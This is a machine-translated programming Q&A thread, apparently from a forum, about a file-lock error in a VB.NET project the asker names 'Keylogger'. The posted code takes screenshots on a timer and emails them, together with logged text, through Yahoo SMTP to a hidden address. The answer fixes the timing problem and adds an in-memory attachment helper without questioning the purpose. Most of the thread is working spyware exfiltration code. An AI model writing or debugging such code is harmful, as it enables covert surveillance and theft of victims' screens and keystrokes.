IOException 未处理 vb.net

Question

当我运行我的程序时，它遇到了这个错误

The process cannot access the file 
'C:\Users\user\Documents\Visual Studio 2010\Projects\Keylogger\WindowsApplication1\bin\Debug\pic\img1.png' 
because it is being used by another process.

这个错误是针对 Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")

有人可以帮助我吗？提前致谢！

这是我的完整代码：

private j as integer = 1

Public Function TakeImage()
    Return TakeImage(0, 0, Screen.PrimaryScreen.WorkingArea.Width, Screen.PrimaryScreen.WorkingArea.Height)
End Function
Public Function TakeImage(ByVal X As Integer, ByVal Y As Integer, ByVal Width As Integer, ByVal Height As Integer)
    Dim Img As New Bitmap(Width, Height)
    Dim g As Graphics = Graphics.FromImage(Img)
    g.CopyFromScreen(X, Y, 0, 0, Img.Size)
    g.Dispose()

    Return Img
End Function

Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
    Dim i As Integer


    Dim smtpServer As New SmtpClient
    smtpServer.EnableSsl = True
    Dim mail As New MailMessage
    smtpServer.Credentials = New Net.NetworkCredential("********", "********")
    smtpServer.Port = 587
    smtpServer.Host = "smtp.mail.yahoo.com"
    mail = New MailMessage
    mail.From = New MailAddress("********")
    mail.To.Add("*********")
    mail.Subject = ("Parham")
    mail.Body = txtlogs.Text

    For i = 1 To 3

        Using fs As FileStream = New FileStream(Application.StartupPath & "\pic\" & "\img" & i & ".png", FileMode.Open)
            Dim attach As New Attachment(Application.StartupPath & "\pic\" & "\img" & i & ".png")
            mail.Attachments.Add(attach)
            smtpServer.Send(mail)
            If File.Exists(Application.StartupPath & "\pic\" & "\img" & j & ".png") Then
                File.Delete(Application.StartupPath & "\pic\" & "\img" & j & ".png")
            End If
        End Using
    Next

End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    If Not Directory.Exists(Application.StartupPath & "\pic\") Then
        Directory.CreateDirectory(Application.StartupPath & "\pic\")
    End If

End Sub

Private Sub tmrScrShot_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrScrShot.Tick
    Dim picture As Image = TakeImage()

    Using picture
        picture.Save(Application.StartupPath & "\pic\" & "\img" & j & ".png", System.Drawing.Imaging.ImageFormat.Png)
    End Using

    j += 1
    If j > 3 Then
        j = New Integer
        j = 1
    End If
End Sub

Answer 1

您应该首先将 Option Strict 设置为 ON，然后修复将显示的警告和错误，然后将您的帖子编辑为实际代码。

异常的原因是 tmrEmail Timer 对象和 tmrScrShot Timer 对象之间的计时问题。

编辑：

此方法采用 Image 对象，然后将其保存到用于创建 System.Net.Mail.Attachment 的内存流中

Private Function ToAttachment(img As Image) As System.Net.Mail.Attachment
    Dim attachment As System.Net.Mail.Attachment
    Using ms As New System.IO.MemoryStream()

        img.Save(ms, System.Drawing.Imaging.ImageFormat.Png)

        attachment = New System.Net.Mail.Attachment(New System.IO.MemoryStream(ms.GetBuffer), "image.png", "image/png")

    End Using

    Return attachment
End Function